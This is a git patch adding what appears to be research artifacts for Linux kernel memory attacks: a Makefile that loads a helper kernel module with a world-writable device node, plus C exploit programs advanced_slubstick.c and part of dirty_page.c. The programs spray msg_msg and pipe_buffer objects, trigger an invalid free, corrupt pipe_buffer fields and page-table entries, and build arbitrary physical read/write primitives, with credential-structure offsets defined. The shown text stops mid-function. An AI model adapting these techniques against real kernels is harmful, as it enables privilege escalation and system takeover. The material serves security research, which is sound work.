From cf2057109ffb3ee552a05f41493820e8c6211412 Mon Sep 17 00:00:00 2001 From: twoneis Date: Thu, 13 Feb 2025 20:12:31 +0100 Subject: [PATCH] added artifacts --- artifacts/Makefile | 23 + artifacts/attacks/Makefile | 24 + artifacts/attacks/advanced_slubstick.c | 403 ++++++++++++ artifacts/attacks/dirty_page.c | 433 +++++++++++++ artifacts/attacks/pipe_unlink.c | 421 ++++++++++++ artifacts/attacks/stack_attack.c | 210 ++++++ artifacts/generic/Makefile | 24 + artifacts/generic/dpm_leak.c | 39 ++ artifacts/generic/msg_cleanup.c | 8 + artifacts/generic/page_type_diff.c | 171 +++++ artifacts/generic/vmalloc_leak.c | 39 ++ artifacts/generic/vmemmap_leak.c | 35 + artifacts/heap/Makefile | 24 + artifacts/heap/cred_leak.c | 214 ++++++ artifacts/heap/file_leak.c | 259 ++++++++ artifacts/heap/msg_msg_leak.c | 258 ++++++++ artifacts/heap/pipe_buffer_leak.c | 263 ++++++++ artifacts/heap/seq_file_leak.c | 212 ++++++ artifacts/include/cacheutils.h | 136 ++++ artifacts/include/coarse_grain_leak.h | 92 +++ artifacts/include/debug.h | 143 +++++ artifacts/include/lkm.h | 76 +++ artifacts/include/msg_msg.h | 66 ++ artifacts/include/pgtable.h | 57 ++ artifacts/include/pipe_buffer.h | 56 ++ artifacts/include/tlb_flush.h | 331 ++++++++++ artifacts/include/ulkm.h | 485 ++++++++++++++ artifacts/include/utils.h | 73 +++ artifacts/lkm.c | 857 +++++++++++++++++++++++++ artifacts/page-table/Makefile | 24 + artifacts/page-table/pmd_4k_leak.c | 266 ++++++++ artifacts/page-table/pt_4k_leak.c | 262 ++++++++ artifacts/page-table/pud_4k_leak.c | 269 ++++++++ artifacts/stack/Makefile | 24 + artifacts/stack/stack_leak.c | 117 ++++ 35 files changed, 6394 insertions(+) create mode 100644 artifacts/Makefile create mode 100644 artifacts/attacks/Makefile create mode 100644 artifacts/attacks/advanced_slubstick.c create mode 100644 artifacts/attacks/dirty_page.c create mode 100644 artifacts/attacks/pipe_unlink.c create mode 100644 artifacts/attacks/stack_attack.c create mode 100644 artifacts/generic/Makefile create mode 100644 artifacts/generic/dpm_leak.c create mode 100644 artifacts/generic/msg_cleanup.c create mode 100644 artifacts/generic/page_type_diff.c create mode 100644 artifacts/generic/vmalloc_leak.c create mode 100644 artifacts/generic/vmemmap_leak.c create mode 100644 artifacts/heap/Makefile create mode 100644 artifacts/heap/cred_leak.c create mode 100644 artifacts/heap/file_leak.c create mode 100644 artifacts/heap/msg_msg_leak.c create mode 100644 artifacts/heap/pipe_buffer_leak.c create mode 100644 artifacts/heap/seq_file_leak.c create mode 100644 artifacts/include/cacheutils.h create mode 100644 artifacts/include/coarse_grain_leak.h create mode 100644 artifacts/include/debug.h create mode 100644 artifacts/include/lkm.h create mode 100644 artifacts/include/msg_msg.h create mode 100644 artifacts/include/pgtable.h create mode 100644 artifacts/include/pipe_buffer.h create mode 100644 artifacts/include/tlb_flush.h create mode 100644 artifacts/include/ulkm.h create mode 100644 artifacts/include/utils.h create mode 100644 artifacts/lkm.c create mode 100644 artifacts/page-table/Makefile create mode 100644 artifacts/page-table/pmd_4k_leak.c create mode 100644 artifacts/page-table/pt_4k_leak.c create mode 100644 artifacts/page-table/pud_4k_leak.c create mode 100644 artifacts/stack/Makefile create mode 100644 artifacts/stack/stack_leak.c diff --git a/artifacts/Makefile b/artifacts/Makefile new file mode 100644 index 000000000..6b524b647 --- /dev/null +++ b/artifacts/Makefile @@ -0,0 +1,23 @@ +obj-m = lkm.o +KVERSION = $(shell uname -r) +all: build modules remove insert +init: build modules insert +remove: + sudo rmmod lkm +insert: + sudo insmod lkm.ko && sudo chmod 666 /dev/lkm +modules: + make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules +clean: + make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean + make -C generic clean + make -C heap clean + make -C stack clean + make -C page-table clean + make -C attacks clean +build: + make -C generic + make -C heap + make -C stack + make -C page-table + make -C attacks diff --git a/artifacts/attacks/Makefile b/artifacts/attacks/Makefile new file mode 100644 index 000000000..54fcd4439 --- /dev/null +++ b/artifacts/attacks/Makefile @@ -0,0 +1,24 @@ +CC := gcc + +SOURCES := $(wildcard *.c) + +TARGETS := $(SOURCES:.c=.elf) + +CFLAGS += -g +CFLAGS += -O2 +CFLAGS += -static +CFLAGS += -Wall +CFLAGS += -Wextra +CFLAGS += -Wno-int-to-pointer-cast +CFLAGS += -Wno-pointer-to-int-cast +CFLAGS += -D_FILE_OFFSET_BITS=64 +CFLAGS += -I../include +CFLAGS += -pthread + +all: $(TARGETS) + +%.elf: %.c + $(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@ + +clean: + rm -f *.elf diff --git a/artifacts/attacks/advanced_slubstick.c b/artifacts/attacks/advanced_slubstick.c new file mode 100644 index 000000000..2fce4b364 --- /dev/null +++ b/artifacts/attacks/advanced_slubstick.c @@ -0,0 +1,403 @@ +#include "utils.h" +#include "ulkm.h" +#include "msg_msg.h" +#include "pipe_buffer.h" +#include "pgtable.h" +#include "tlb_flush.h" +#include +#include +#include +#include +#define _GNU_SOURCE +#include +#include + +// #define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0 // v6.8 +#define ANON_PIPE_BUF_OPS_OFFSET 0x1448280 // v6.6 + +// #define DEBUG +#define RESTORE + +#define TASK_STRUCT_SLAB_ORDER 3 +#define TASK_STRUCT_SIZE 10496 +// #define TASK_STRUCT_COMM_OFFSET 3008 +#define TASK_STRUCT_COMM_OFFSET 3016 +// #define TASK_STRUCT_PID_OFFSET 2464 +#define TASK_STRUCT_PID_OFFSET 2456 +// #define TASK_STRUCT_TGID_OFFSET 2468 +#define TASK_STRUCT_TGID_OFFSET 2460 +// #define TASK_STRUCT_REAL_CRED_OFFSET 2984 +#define TASK_STRUCT_REAL_CRED_OFFSET 2992 +// #define TASK_STRUCT_CRED_OFFSET 2992 +#define TASK_STRUCT_CRED_OFFSET 3000 + +#define CRED_UID_GID_OFFSET 8 +#define CRED_SUID_SGID_OFFSET 16 +#define CRED_EUID_EGID_OFFSET 24 +#define CRED_FSUID_FSGID_OFFSET 32 +#define CRED_CAP_INHERITABLE_OFFSET 48 +#define CRED_CAP_PERMITTED_OFFSET 56 +#define CRED_CAP_EFFECTIVE_OFFSET 64 +#define CRED_CAP_BSET_OFFSET 72 +#define CRED_CAP_AMBIENT_OFFSET 80 + +#define PAGE_SIZE (1<<12) + +#define OBJ_PER_SLAB 42 + +#define MSG_SPRAYS (OBJ_PER_SLAB*40) +#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB) +#define MSG_TYPE 0x41 +#define MSG_HEADER 48 +#define MSG_NEXT_HEADER 8 +#define __MSG_SIZE 96 +#define MSG_SIZE (__MSG_SIZE-MSG_HEADER) + +#define MSG_SPRAYS2 (OBJ_PER_SLAB*4) +#define MSG_TYPE2 0x42 +#define __MSG_SIZE2 (4096+__MSG_SIZE) +#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER) + +#define PIPE_SPRAY (OBJ_PER_SLAB*4) +#define PIPE_SIZE 40 +#define PIPE_CNT 1 + +int qids[MSG_SPRAYS]; +int qids2[MSG_SPRAYS2]; +size_t overlayed_id = -1; + +size_t virt_base; +size_t vmemmap_base; +size_t dpm_base; +size_t code_base; + +size_t msg_msg; + +char buffer[0x2000]; +char page_content[sizeof(buffer)]; +char page_content_org[sizeof(buffer)]; + +int pipes[PIPE_SPRAY][2]; + +void cleanup(void) +{ + printf("[*] cleanup\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + cleanup_queue(qids[i]); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + if (i != overlayed_id) + cleanup_queue_no_err(qids2[i]); +} + +size_t pipe_buffer; +void stage1(void) +{ + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; + + printf("[*] alloc msg_queue\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + printf("[*] alloc msg_msg\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); + + lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE); + printf("[+] leaked msg_msg %016zx\n", msg_msg); + + printf("[*] free msg_msg\n"); + memset(buffer, 0x41, sizeof(buffer)); + // free all all but 1 of the current slab + // creates all free slots on the slot except one + // except one because to prevent returning the partial slab to the page allocator (unlikely but may be) + for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i) + get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + alloc_pipes(pipes[i], O_NONBLOCK); + resize_pipe(pipes[i][0], 2); + write_pipe(pipes[i][1], buffer, 8); + } + printf("[*] reclaimed as pipe_buffer\n"); + pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE; + printf("[+] pipe_buffer %016zx\n", pipe_buffer); + +#ifdef DEBUG + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif +} + +size_t vmemmap_pud; +#ifdef RESTORE +char pipe_buffer_old_content[PIPE_SIZE]; +void save_pipe_buffer_state(void) +{ + for (size_t i = 0; i < PIPE_SIZE; i += 8) + lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]); + printf("[*] temporarily store pipe_buffer content\n"); +} +void restore_pipe_buffer_state(void) +{ + for (size_t i = 0; i < PIPE_SIZE; i += 8) + lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i)); + printf("[*] store old pipe_buffer content\n"); +} +#else +void save_pipe_buffer_state(void) {} +void restore_pipe_buffer_state(void) {} +#endif + +size_t address; +size_t pud; +void stage2(void) +{ + printf("[*] leak pud\n"); + address = (void *)mmap((void *)((1ULL<<39)|255*(1ULL<<30)), PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); + if ((void *)address == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + *(volatile size_t *)address; + size_t pgde; + size_t pude; + size_t pmde; + size_t pte; + lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte); + pud = dpm_base + (pgde & ~(0xfff)); + printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address, pgde, pude, pmde, pte); + printf("[*] pud %016zx\n", pud); +} + +struct pipe_buffer { + size_t page; + unsigned int len; + unsigned int offset; + size_t ops; + unsigned int flags; + size_t private; +}; + +#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base) +#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base) +void stage3(void) +{ + vmemmap_pud = DPM_TO_VMEMMAP(pud); + save_pipe_buffer_state(); + + memset(buffer, 0, sizeof(buffer)); + + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE2; + printf("[*] alloc queues for reclaiming invalid free\n"); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + printf("[*] invalid free at %016zx\n", pipe_buffer-8); + lkm_arb_free(pipe_buffer-8); + + printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud); + struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER); + memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer)); + corr_pipe_buffer->page = vmemmap_pud; + corr_pipe_buffer->offset = 8; + corr_pipe_buffer->len = 15; + corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + corr_pipe_buffer->flags = 0x10; + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + send_msg(qids2[i], message, MSG_SIZE2, 0); + +#ifdef DEBUG + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif +} + +void pud_print(void) +{ + printf("[*] print pud\n"); + for (size_t i = 0; i < 16*8; i += 8) { + size_t tmp; + lkm_read(pud+i, (size_t)&tmp); + printf("%016zx: %016zx\n", pud+i, tmp); + } +} + +#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base) +size_t page_fd = -1; +size_t pivot_addr; +void stage4(void) +{ + size_t count = 0; + printf("[*] find overwritten pipe_buffer\n"); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + memset(buffer, 0, sizeof(buffer)); + read_pipe(pipes[i][0], buffer, 7); + if (buffer[0] != 0x41) { + buffer[7] = -1; + count++; + page_fd = i; + printf("[+] found pipe_buffer fd %4zd\n", page_fd); + if (IS_VMEMMAP(*(size_t *)(buffer))) { + printf("[+] found page %016zx\n", *(size_t *)(buffer)); + continue; + } + } + } + + if (page_fd == (size_t)-1 || count != 1) { + printf("[!] count %zd\n", count); + printf("[!] page_fd %016zx\n", page_fd); + restore_pipe_buffer_state(); + exit(-1); + } + + printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n"); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) { + memset(buffer, 0, sizeof(buffer)); + get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT); + struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER); + if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != 15) { + printf("[+] found overlayed msg_msg %zd\n", i); + overlayed_id = i; + } + } + +#ifdef DEBUG + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif + + printf("[*] write to pud\n"); + char _cor_pude[16*8+1]; + memset(_cor_pude, 0, sizeof(_cor_pude)); + for (size_t i = 0; i < 16; ++i) { + *(size_t *)(_cor_pude + 1 + 8*i) = PAGE_TABLE_LARGE + i*(1ULL << 30) + (4ULL << 30); + } + write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16*8); + + pivot_addr = ((1ULL<<39)|3*(1ULL<<30)); + size_t pgde; + size_t pude; + size_t pmde; + size_t pte; + lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte); + printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr, pgde, pude, pmde, pte); + +#ifdef DEBUG + pud_print(); + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif +} + +size_t old_pt; +size_t *arb_pt = (size_t *)-1; +char *arb_page = (char *)-1; +void stage5(void) +{ + for (size_t try = 0; try < 0x10; ++try) { + char buf[PAGE_SIZE]; + char *ptr = mmap((void *)((1ULL << 46)|(1ULL<<39)*try), (1<<30), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); + if (ptr == MAP_FAILED) { + perror("mmap"); + cleanup(); + restore_pipe_buffer_state(); + exit(-1); + } + size_t mapping_space = (16ULL<<30); + + printf("[*] init pt already mapped\n"); + char *pt_already_mapped = malloc(mapping_space/PAGE_SIZE); + memset(pt_already_mapped, 0, mapping_space/PAGE_SIZE); + for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i) + if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE) + pt_already_mapped[i] = 1; + + printf("[*] map a lot of page tables\n"); + for (size_t i = 0; i < (1<<30); i += (1<<21)) + memset(ptr + i, 0x46, PAGE_SIZE); + + printf("[*] show where new page tables are\n"); + for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i) { + if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE && pt_already_mapped[i] == 0) { + printf("[+] found pt at %ld with %016zx\n", i, *(size_t *)(pivot_addr + PAGE_SIZE * i)); + arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i); + old_pt = *arb_pt; + *arb_pt = PTE; + break; + } + } + + memset(buf, 0x46, PAGE_SIZE); + for (size_t i = 0; i < (1<<30); i += (1<<21)) { + if (memcmp(ptr + i, buf, PAGE_SIZE)) { + arb_page = ptr + i; + printf("[+] found page %016zx\n", (size_t)arb_page); + break; + } + } + if (arb_page != (char *)-1) + break; + printf("[?] arbitrary page not found -> retry\n"); + } + if (arb_page == (char *)-1) { + printf("[!] arbitrary page not found\n"); + cleanup(); + restore_pipe_buffer_state(); + exit(-1); + } + printf("[+] success\n"); +} + +int main(void) +{ + int ret = 0; + pin_to_core(0); + set_limit(); + printf("[*] start\n"); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + init_tlb_flush(); + get_total_memory(); + + lkm_init(); + + lkm_virt_base_leak((size_t)&virt_base); + lkm_vmemmap_leak((size_t)&vmemmap_base); + lkm_dpm_leak((size_t)&dpm_base); + lkm_code_leak((size_t)&code_base); + printf("[*] virt_base %016zx\n", virt_base); + printf("[*] vmemmap_base %016zx\n", vmemmap_base); + printf("[*] dpm_base %016zx\n", dpm_base); + printf("[*] code_base %016zx\n", code_base); + + stage1(); + stage2(); + stage3(); + stage4(); + stage5(); + + cleanup(); + restore_pipe_buffer_state(); + printf("[*] done\n"); + return ret; +} \ No newline at end of file diff --git a/artifacts/attacks/dirty_page.c b/artifacts/attacks/dirty_page.c new file mode 100644 index 000000000..0ce2373f3 --- /dev/null +++ b/artifacts/attacks/dirty_page.c @@ -0,0 +1,433 @@ +#include "utils.h" +#include "ulkm.h" +#include "msg_msg.h" +#include "pipe_buffer.h" +#include +#include +#include +#include +#define _GNU_SOURCE +#include +#include + +#define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0 + +// #define DEBUG +#define RESTORE + +#define TASK_STRUCT_SLAB_ORDER 3 +#define TASK_STRUCT_SIZE 10496 +#define TASK_STRUCT_COMM_OFFSET 3008 +#define TASK_STRUCT_PID_OFFSET 2464 +#define TASK_STRUCT_TGID_OFFSET 2468 +#define TASK_STRUCT_REAL_CRED_OFFSET 2984 +#define TASK_STRUCT_CRED_OFFSET 2992 + +#define CRED_UID_GID_OFFSET 8 +#define CRED_SUID_SGID_OFFSET 16 +#define CRED_EUID_EGID_OFFSET 24 +#define CRED_FSUID_FSGID_OFFSET 32 +#define CRED_CAP_INHERITABLE_OFFSET 48 +#define CRED_CAP_PERMITTED_OFFSET 56 +#define CRED_CAP_EFFECTIVE_OFFSET 64 +#define CRED_CAP_BSET_OFFSET 72 +#define CRED_CAP_AMBIENT_OFFSET 80 + +#define PAGE_SIZE (1<<12) + +#define OBJ_PER_SLAB 42 + +#define MSG_SPRAYS (OBJ_PER_SLAB*40) +#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB) +#define MSG_TYPE 0x41 +#define MSG_HEADER 48 +#define MSG_NEXT_HEADER 8 +#define __MSG_SIZE 96 +#define MSG_SIZE (__MSG_SIZE-MSG_HEADER) + +#define MSG_SPRAYS2 (OBJ_PER_SLAB*4) +#define MSG_TYPE2 0x42 +#define __MSG_SIZE2 (4096+__MSG_SIZE) +#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER) + +#define PIPE_SPRAY (OBJ_PER_SLAB*4) +#define PIPE_SIZE 40 +#define PIPE_CNT 1 + +int qids[MSG_SPRAYS]; +int qids2[MSG_SPRAYS2]; +size_t overlayed_id = -1; + +size_t vmemmap_base; +size_t dpm_base; +size_t code_base; + +size_t msg_msg; + +char buffer[0x2000]; +char page_content[sizeof(buffer)]; +char page_content_org[sizeof(buffer)]; + +int pipes[PIPE_SPRAY][2]; + +void cleanup(void) +{ + printf("[*] cleanup\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + cleanup_queue(qids[i]); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + if (i != overlayed_id) + cleanup_queue_no_err(qids2[i]); +} + +size_t pipe_buffer; +void stage1(void) +{ + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; + + printf("[*] alloc msg_queue\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + printf("[*] alloc msg_msg\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); + + lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE); + printf("[+] leaked msg_msg %016zx\n", msg_msg); + + printf("[*] free msg_msg\n"); + memset(buffer, 0x41, sizeof(buffer)); + // free all all but 1 of the current slab + // creates all free slots on the slot except one + // except one because to prevent returning the partial slab to the page allocator (unlikely but may be) + for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i) + get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + alloc_pipes(pipes[i], O_NONBLOCK); + resize_pipe(pipes[i][0], 2); + write_pipe(pipes[i][1], buffer, 8); + } + printf("[*] reclaimed as pipe_buffer\n"); + pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE; + printf("[+] pipe_buffer %016zx\n", pipe_buffer); + +#ifdef DEBUG + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif +} + +size_t adjacent_pipe_buffer; +size_t vmemmap_pipe_buffer; +#ifdef RESTORE +char pipe_buffer_old_content[PIPE_SIZE]; +void save_pipe_buffer_state(void) +{ + for (size_t i = 0; i < PIPE_SIZE; i += 8) + lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]); + printf("[*] temporarily store pipe_buffer content\n"); +} +void restore_pipe_buffer_state(void) +{ + for (size_t i = 0; i < PIPE_SIZE; i += 8) + lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i)); + printf("[*] store old pipe_buffer content\n"); +} +#else +void save_pipe_buffer_state(void) {} +void restore_pipe_buffer_state(void) {} +#endif + +struct pipe_buffer { + size_t page; + unsigned int len; + unsigned int offset; + size_t ops; + unsigned int flags; + size_t private; +}; + +#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base) +#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base) +void stage2(void) +{ + vmemmap_pipe_buffer = DPM_TO_VMEMMAP(pipe_buffer); + save_pipe_buffer_state(); + + memset(buffer, 0x42, sizeof(buffer)); + + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE2; + printf("[*] alloc queues for reclaiming invalid free\n"); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + + printf("[*] invalid free at %016zx\n", pipe_buffer-8); + lkm_arb_free(pipe_buffer-8); + + printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pipe_buffer); + struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER); + memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer)); + corr_pipe_buffer->page = vmemmap_pipe_buffer; + corr_pipe_buffer->offset = 8; + corr_pipe_buffer->len = __MSG_SIZE; + corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + corr_pipe_buffer->flags = 0x10; + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + send_msg(qids2[i], message, MSG_SIZE2, 0); + +#ifdef DEBUG + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif +} + +#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base) +size_t page_fd = -1; +void stage3(void) +{ + size_t count = 0; + printf("[*] find overwritten pipe_buffer\n"); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + memset(buffer, 0, sizeof(buffer)); + read_pipe(pipes[i][0], buffer, 7); + if (buffer[0] != 0x41) { + buffer[7] = -1; + count++; + page_fd = i; + printf("[+] found pipe_buffer fd %4zd\n", page_fd); + if (IS_VMEMMAP(*(size_t *)(buffer))) { + printf("[+] found page %016zx\n", *(size_t *)(buffer)); + continue; + } + } + } + + if (page_fd == (size_t)-1 || count != 1) { + printf("[!] count %zd\n", count); + printf("[!] page_fd %016zx\n", page_fd); + restore_pipe_buffer_state(); + exit(-1); + } + + printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n"); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) { + get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT); + struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER); + if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != __MSG_SIZE) { + printf("[+] found overlayed msg_msg %zd\n", i); + overlayed_id = i; + } + } +} + +// write from the &len to &private of the next +#define PIPE_OFFSET (__MSG_SIZE+PIPE_SIZE-8) +size_t arbrw_fd = -1; +void stage4(void) +{ + memset(buffer, 0x41, sizeof(buffer)); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + if (i == page_fd) + continue; + write_pipe(pipes[i][1], buffer, 8); + } + +#ifdef DEBUG + printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer)); + for (size_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif + + memset(buffer, 0, sizeof(buffer)); + struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer; + struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE); + + cor_pipe_buffer->len = 8+__MSG_SIZE; + cor_pipe_buffer->offset = -PIPE_OFFSET; + cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + cor_pipe_buffer->flags = 0x10; + + next_cor_pipe_buffer->page = vmemmap_base; + next_cor_pipe_buffer->len = 0; + next_cor_pipe_buffer->offset = PAGE_SIZE; + next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + next_cor_pipe_buffer->flags = 0x10; + + write_pipe(pipes[page_fd][1], buffer+8, PIPE_OFFSET); + +#ifdef DEBUG + printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer)); + for (size_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer+i, (size_t)&tmp); + printf("%016zx\n", tmp); + } +#endif + + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + if (i == page_fd) + continue; + memset(buffer, 0x41, sizeof(buffer)); + read_pipe(pipes[i][0], buffer, 8); + if (buffer[1] != 0x41) { + printf("[*] *buffer %016zx\n", *(size_t *)buffer); + arbrw_fd = i; + printf("[+] found pipe_buffer fd for arbrw %4zd\n", arbrw_fd); + } + } + if (arbrw_fd == (size_t)-1) { + printf("[!] arbrw_fd not found\n"); + exit(-1); + } +} + +void arbr_phys(size_t paddr, size_t *addr) +{ + memset(buffer, 0, sizeof(buffer)); + struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer; + struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE); + + cor_pipe_buffer->len = 8+__MSG_SIZE; + cor_pipe_buffer->offset = -PIPE_OFFSET; + cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + cor_pipe_buffer->flags = 0x10; + + next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr); + next_cor_pipe_buffer->len = paddr % PAGE_SIZE; + next_cor_pipe_buffer->offset = PAGE_SIZE; + next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + next_cor_pipe_buffer->flags = 0x10; + + write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET); + read_pipe_no_err(pipes[arbrw_fd][0], (char *)addr, 8); +} + +void arbw_phys(size_t paddr, size_t value) +{ + memset(buffer, 0, sizeof(buffer)); + struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer; + struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE); + + cor_pipe_buffer->len = 8+__MSG_SIZE; + cor_pipe_buffer->offset = -PIPE_OFFSET; + cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; + cor_pipe_buffer->flags = 0x10; + + next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr); + next_cor_pipe_buffer->len = 0; + next_cor_pipe_buffer->offset = paddr % PAGE_SIZE; + next_cor_pipe_buffer->ops = 